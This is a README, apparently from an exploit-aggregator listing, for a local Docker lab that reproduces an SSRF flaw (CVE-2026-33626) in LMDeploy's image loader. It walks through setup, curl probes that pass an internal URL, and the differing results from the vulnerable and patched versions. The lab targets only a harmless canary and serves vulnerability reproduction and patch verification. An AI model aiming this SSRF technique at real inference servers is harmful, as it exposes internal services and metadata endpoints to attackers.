## https://sploitus.com/exploit?id=E9062E96-2253-5802-9C31-EFA860F1752B
# CVE-2026-33626 โ LMDeploy Vision-Language SSRF Lab
## Overview
This repository reproduces **CVE-2026-33626**, a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language image loading path.
The vulnerable behavior occurs when LMDeploy receives an image URL and the server-side image loader fetches that URL without properly blocking internal, private, loopback, or link-local addresses.
This lab compares:
| Service | Version | Purpose |
| ---------- | -------------------: | ------------------------------------------------------------- |
| `vuln` | LMDeploy `0.12.0` | Demonstrates the vulnerable behavior |
| `patched` | LMDeploy `0.12.3` | Demonstrates the patched behavior |
| `internal` | Local canary service | Simulates an internal-only resource inside the Docker network |
The lab is designed to run locally with Docker Compose and does not contact cloud metadata endpoints or external targets.
---
## Vulnerability Summary
LMDeploy supports vision-language workflows where an image may be loaded from a user-supplied URL. In vulnerable versions, the image loading code can fetch URLs that resolve to internal/private network addresses.
This can allow an attacker with access to the LMDeploy endpoint to make the server request internal resources, such as:
* internal HTTP services
* metadata endpoints
* cache/database services
* private admin panels
* other services reachable from the inference server network
In this lab, the internal target is intentionally harmless:
```text
http://internal:9000/private.png
```
The URL only exists inside the Docker Compose network.
---
## Lab Design
```text
PoC script
|
| sends image URL
v
vuln / patched service
|
| calls lmdeploy.vl.load_image(url)
v
internal canary service
```
The lab does not run a full VLM inference server. Instead, it isolates the vulnerable LMDeploy image-loading primitive by calling:
```python
from lmdeploy.vl import load_image
load_image(url)
```
This keeps the reproduction lightweight and deterministic while still demonstrating the security behavior that was patched.
---
## Repository Structure
```text
.
โโโ docker-compose.yml
โโโ internal
โ โโโ Dockerfile
โ โโโ server.py
โโโ patched
โ โโโ Dockerfile
โโโ poc
โ โโโ poc.py
โโโ vuln
โ โโโ Dockerfile
โโโ README.md
```
---
## Services
| Service | Host URL | Container Port | Description |
| ---------- | ----------------------: | -------------: | ------------------------- |
| `vuln` | `http://127.0.0.1:8081` | `8000` | LMDeploy `0.12.0` wrapper |
| `patched` | `http://127.0.0.1:8082` | `8000` | LMDeploy `0.12.3` wrapper |
| `internal` | `http://127.0.0.1:8090` | `9000` | Internal canary service |
Inside the Docker network, the internal canary is reachable as:
```text
http://internal:9000/private.png
```
---
## Requirements
* Docker Desktop
* Docker Compose v2
* Python 3 for running the PoC script
On Apple Silicon, the `vuln` and `patched` services run as `linux/amd64` because the LMDeploy wheel used in this lab is x86_64-oriented.
---
## Run the Lab
Build and start the services:
```bash
docker compose up -d --build
```
Check container status:
```bash
docker compose ps
```
Expected status:
```text
cve-2026-33626-internal Up
cve-2026-33626-vuln Up (healthy)
cve-2026-33626-patched Up (healthy)
```
---
## Verify Versions
```bash
curl -sS http://127.0.0.1:8081/version | jq
curl -sS http://127.0.0.1:8082/version | jq
curl -sS http://127.0.0.1:8090/hits | jq
```
Expected output:
```json
{
"lmdeploy_version": "0.12.0",
"expected_role": "vulnerable"
}
```
```json
{
"lmdeploy_version": "0.12.3",
"expected_role": "patched"
}
```
```json
{
"hits": []
}
```
---
## Run the PoC
Create a virtual environment and install dependencies:
```bash
python3 -m venv .venv
source .venv/bin/activate
pip install requests
```
Run the PoC:
```bash
python poc/poc.py
```
The default SSRF target is:
```text
http://internal:9000/private.png
```
This target is reachable from the Docker containers, not from the public internet.
---
## Expected Result
### Vulnerable Service
The vulnerable service should fetch the internal canary image successfully:
```json
{
"service": "vulnerable",
"probe_http_status": 200,
"probe_response": {
"ok": true,
"result": "lmdeploy.vl.load_image() fetched and decoded the URL",
"lmdeploy_version": "0.12.0"
},
"internal_hit_count": 1
}
```
This confirms that LMDeploy `0.12.0` made a server-side request to the internal Docker service.
### Patched Service
The patched service should block the same URL before the internal service is reached:
```json
{
"service": "patched",
"probe_http_status": 400,
"probe_response": {
"ok": false,
"error_type": "ValueError",
"error": "URL is blocked for security reasons: Blocked non-global IP detected",
"lmdeploy_version": "0.12.3"
},
"internal_hit_count": 0
}
```
This confirms that LMDeploy `0.12.3` blocks URLs resolving to non-global/internal IP addresses.
Final expected summary:
```text
[+] Expected result confirmed:
vulnerable service fetched the internal canary
patched service blocked before reaching the internal canary
```
---
## Manual Test
Reset the internal canary:
```bash
curl -sS -X POST http://127.0.0.1:8090/reset | jq
```
Test vulnerable service:
```bash
curl -sS "http://127.0.0.1:8081/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
```
Expected: `/hits` contains one request.
Test patched service:
```bash
curl -sS -X POST http://127.0.0.1:8090/reset | jq
curl -sS "http://127.0.0.1:8082/probe?url=http%3A%2F%2Finternal%3A9000%2Fprivate.png" | jq
curl -sS http://127.0.0.1:8090/hits | jq
```
Expected: `/hits` remains empty.
---
## Why This Demonstrates SSRF
The PoC does not request the internal service directly as the attacker.
Instead, the PoC sends an internal URL to LMDeploy. If LMDeploy fetches that URL from inside the container network, the internal canary records the request.
That behavior proves the SSRF primitive:
```text
attacker-controlled URL
โ
LMDeploy server-side image loader
โ
request to internal network resource
```
The patched version prevents this by rejecting URLs that resolve to non-global IP addresses.
---
## Cleanup
```bash
docker compose down -v
```
---
## References
* GitHub Security Advisory: GHSA-6w67-hwm5-92mq
[https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq](https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq)
* NVD: CVE-2026-33626
[https://nvd.nist.gov/vuln/detail/CVE-2026-33626](https://nvd.nist.gov/vuln/detail/CVE-2026-33626)
* Patch Commit: `71d64a339edb901e9005358e0633fbbab367d626`
[https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626](https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626)
* Pull Request: #4447
[https://github.com/InternLM/lmdeploy/pull/4447](https://github.com/InternLM/lmdeploy/pull/4447)
* Sysdig Analysis
[https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours](https://www.sysdig.com/blog/cve-2026-33626-how-attackers-exploited-lmdeploy-llm-inference-engines-in-12-hours)